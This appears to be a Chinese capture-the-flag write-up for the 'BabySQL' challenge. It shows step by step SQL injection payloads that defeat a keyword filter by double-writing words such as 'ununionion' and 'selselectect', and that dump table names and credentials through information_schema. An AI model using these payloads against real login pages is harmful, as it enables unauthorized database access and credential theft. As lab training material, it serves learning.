[极客大挑战 2019]BabySQL1

看到题目,应该是sql注入类型先试试万能密码

万能密码,闭合双引号?username=admin&password=admin' or '1'='1

构造payload

这里的提示是 => 做了严格的过滤 => 关键在绕过

/check.php?username=root%27+oorr+1%3D1%3B%23&password=root

查找column的数量

/check.php?username=admin' order by 3%23&password=1 反馈有error

推测by也是有过滤的用`bbyy代替

root = admin' oorrder bbyy 3# => Login Success

root = admin' oorrder bbyy 4# => Error

说明这个table里面有三列数据

下一步就是找到回显点

root = admin' union select 1,2,3

得到error

root => 9' ununionion selselectect 1,2,3#

得到说明column2 + column3 可以作为回显点

root => 9' ununionion selselectect 1,database(),version()#

下一步:利用information_schema.tables爆破有哪些table

root => 9' ununionion selselectect 999,999,group_concat(table_name) from information_schema.tables where table_schema=geek# => Error

root = 9' ununionion selselectect 999,999,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()

猜测flag用到base64

再根据这个三个字段爆破数据

root = 9' ununionion selselectect 999,999,group_concat(id,username,passwoorrd) frfromom b4bsql#

得到flag

复制代码
/check.php?username=9%27+ununionion+selselectect+999%2C999%2Cgroup_concat%28table_name%29+frfromom+infoorrmation_schema.tables+whwhereere+table_schema%3D'geek'%23&password=1
相关推荐
Elastic 中国社区官方博客1 小时前
在 Elasticsearch 中使用 Mistral Chat completions 进行上下文工程
大数据·数据库·人工智能·elasticsearch·搜索引擎·ai·全文检索
编程爱好者熊浪3 小时前
两次连接池泄露的BUG
java·数据库
TDengine (老段)5 小时前
TDengine 字符串函数 CHAR 用户手册
java·大数据·数据库·物联网·时序数据库·tdengine·涛思数据
qq7422349845 小时前
Python操作数据库之pyodbc
开发语言·数据库·python
姚远Oracle ACE5 小时前
Oracle 如何计算 AWR 报告中的 Sessions 数量
数据库·oracle
Dxy12393102166 小时前
MySQL的SUBSTRING函数详解与应用
数据库·mysql
码力引擎6 小时前
【零基础学MySQL】第十二章:DCL详解
数据库·mysql·1024程序员节
杨云龙UP6 小时前
【MySQL迁移】MySQL数据库迁移实战(利用mysqldump从Windows 5.7迁至Linux 8.0)
linux·运维·数据库·mysql·mssql
l1t6 小时前
利用DeepSeek辅助修改luadbi-duckdb读取DuckDB decimal数据类型
c语言·数据库·单元测试·lua·duckdb
安当加密6 小时前
Nacos配置安全治理:把数据库密码从YAML里请出去
数据库·安全